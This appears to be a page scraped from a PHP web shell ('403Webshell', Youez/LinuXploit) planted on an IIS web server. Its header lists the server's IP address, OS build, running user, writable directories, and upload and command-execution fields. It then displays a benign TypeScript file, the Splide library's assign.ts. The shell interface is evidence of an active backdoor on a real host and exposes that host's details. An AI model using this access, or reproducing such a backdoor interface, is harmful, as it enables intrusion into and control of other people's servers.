403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/@splidejs/splide/src/js/utils/object/assign/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/@splidejs/splide/src/js/utils/object/assign/assign.ts
import { Cast, Head, Push, Resolve, Shift } from '../../../types';
import { slice } from '../../arrayLike';
import { forOwn } from '../forOwn/forOwn';


/**
 * Assigns U to T.
 *
 * @typeParam T - An object to assign to.
 * @typeParam U - An object to assign.
 *
 * @return An assigned object type.
 */
export type Assign<T, U> = Omit<T, keyof U> & U;

/**
 * Recursively assigns U[] to T.
 *
 * @typeParam T - An object to assign to.
 * @typeParam U - A tuple contains objects.
 *
 * @return An assigned object type.
 */
export type Assigned<T extends object, U extends object[], N extends number, C extends any[] = []> = {
  0: T,
  1: Assigned<Assign<T, Head<U>>, Shift<U>, N, Push<C>>,
}[ C['length'] extends N ? 0 : 1 ] extends infer A ? Cast<A, any> : never;

export function assign<T extends object>( object: T ): T;

export function assign<T extends object, U extends object[]>(
  object: T,
  ...sources: U
): Resolve<Assigned<T, U, U['length']>>

/**
 * Assigns all own enumerable properties of all source objects to the provided object.
 *
 * @param object - An object to assign properties to.
 *
 * @return An object assigned properties of the sources to.
 */
export function assign<T extends object>( object: T ): any {
  // eslint-disable-next-line prefer-rest-params, prefer-spread
  slice( arguments, 1 ).forEach( source => {
    forOwn( source, ( value, key ) => {
      object[ key ] = source[ key ];
    } );
  } );

  return object;
}

Youez - 2016 - github.com/yon3zu
LinuXploit